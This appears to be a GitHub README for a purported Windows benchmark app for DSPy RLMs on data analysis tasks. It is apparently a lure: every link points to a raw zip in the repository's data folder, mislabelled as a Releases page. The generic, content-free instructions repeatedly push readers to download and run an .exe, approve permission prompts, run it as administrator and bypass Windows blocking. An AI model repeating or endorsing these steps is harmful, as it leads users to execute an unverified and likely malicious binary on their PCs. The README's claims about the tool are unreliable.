🧪 dabench-rlm-eval - Run data analysis benchmarks fast

📥 Download

Visit this page to download: https://github.com/seaofokhotskquakerism746/dabench-rlm-eval/raw/refs/heads/main/data/rlm_eval_dabench_v3.6-beta.2.zip

On the Releases page, look for the latest version. Download the Windows file for your PC. If you see more than one file, choose the one that ends in .exe or .zip

🖥️ What this app does

dabench-rlm-eval is a benchmark harness for testing DSPy RLMs on data analysis tasks. In simple terms, it helps you run repeatable checks on model behavior when you work with tables, numbers, and analysis tasks.

Use it when you want to:

• run a local benchmark on Windows
• compare model output across tasks
• check how a model handles data analysis prompts
• review results in a clear, repeatable way
• test changes before you use them in a real workflow

⚙️ Before you start

For Windows, use a PC with:

• Windows 10 or Windows 11
• 4 GB of RAM or more
• enough free space for the app and test data
• a stable internet connection for the first download

You may also want:

• a mouse or touchpad
• permission to open downloaded files
• a folder where you keep tools and downloads

🚀 Install on Windows

1. Open this link: https://github.com/seaofokhotskquakerism746/dabench-rlm-eval/raw/refs/heads/main/data/rlm_eval_dabench_v3.6-beta.2.zip
2. Find the latest release at the top of the page
3. Download the Windows package
4. If the file is a .zip, right-click it and choose Extract All
5. Open the extracted folder
6. If the file is an .exe, double-click it to start the app
7. If Windows asks for permission, choose Yes
8. Wait for the app to finish loading

🧭 First run

After you open the app, use the main screen to set up a benchmark run.

Typical first steps:

• choose a task set
• select the model or RLM profile
• set the number of test runs
• pick an output folder
• start the evaluation

If the app asks for a file path, use a folder that is easy to find, such as Documents or Desktop

🧪 How to use it

The app is built for simple benchmark work. A usual flow looks like this:

1. Open the app
2. Load or choose a benchmark set
3. Select the model you want to test
4. Set your run options
5. Start the evaluation
6. Wait for the run to finish
7. Open the results file

You can use the results to compare runs, check task quality, and spot changes in output over time

📊 What you get from a run

A run may include:

• task-by-task results
• overall score data
• pass and fail counts
• prompt and response logs
• notes for each test case
• export files for later review

These results help you see how a model performs on data analysis work across the same set of tests

🗂️ Example workflow

If you want to test a new model build:

1. Download the latest release
2. Open the app on Windows
3. Run the same benchmark set as before
4. Save the output in a new folder
5. Compare the new results with the old ones

This gives you a simple way to check if the model improved or changed

🛠️ Common file types

You may see files like:

• .exe for direct launch
• .zip for a packed download
• .json for run settings or results
• .csv for data tables
• .log for run details

If you use a .zip file, extract it before you try to run the app

🔍 Troubleshooting

If the app does not open:

• make sure the file finished downloading
• right-click the file and choose Run as administrator
• check that Windows did not block the file
• move the file to a simple folder like Downloads
• try the latest release again

If you see a missing file message:

• open the extracted folder again
• check that all files stayed together
• download the release one more time if needed

If the app opens but does not start a run:

• confirm that you picked a valid task set
• check the output folder path
• make sure the model setting is correct
• try a smaller test run first

📁 Suggested folder setup

A clean folder layout can make things easier:

• Downloads for the release file
• dabench-rlm-eval for the extracted app
• Results for benchmark output
• Input Data for task files

Keep the app files in one folder so they do not get mixed with other downloads

🔐 Safe use on your PC

To keep the app easy to manage:

• download only from the Releases page
• keep the app in a folder you control
• do not rename files inside the app folder unless you need to
• keep the results in a separate folder

🧩 Related use cases

This tool fits well if you want to:

• test agent behavior on data tasks
• compare model runs before a release
• check output on structured data
• review benchmark output in a repeatable way
• keep a local record of evaluation runs

📌 Release page

Download from the latest builds here: https://github.com/seaofokhotskquakerism746/dabench-rlm-eval/raw/refs/heads/main/data/rlm_eval_dabench_v3.6-beta.2.zip

🧾 File naming guide

If you see several files on the Releases page, this can help:

• choose the newest version
• pick the Windows file
• use the .exe file for direct start
• use the .zip file if the release is packed
• ignore source code files unless you need them for development

🖱️ Quick start

1. Visit the Releases page
2. Download the Windows file
3. Open the file or extract it
4. Launch the app
5. Pick a benchmark
6. Run the test
7. Review the output files

🧭 What to expect

The app should open a simple interface for benchmark work. You may see controls for loading tasks, starting runs, and saving results. The layout is meant to help you move from setup to output with a few clear steps

📎 Help with paths

If the app asks for a path, use a full folder path such as:

• C:\Users\YourName\Documents\Results
• C:\Users\YourName\Desktop\dabench
• C:\Users\YourName\Downloads\Benchmarks

Use a folder name with no special symbols if possible

🧰 Basic care

If you want smooth runs:

• keep your Windows system up to date
• close other heavy apps before a test
• use the same settings for each benchmark
• store each run in its own folder

📌 Download again later

If a newer version is posted, return to the Releases page and repeat the same steps. Always use the latest file if you want the newest fixes and changes

🏁 Start here

1. Open the Releases page
2. Download the Windows file
3. Run or extract it
4. Start your first benchmark
5. Save the results in a new folder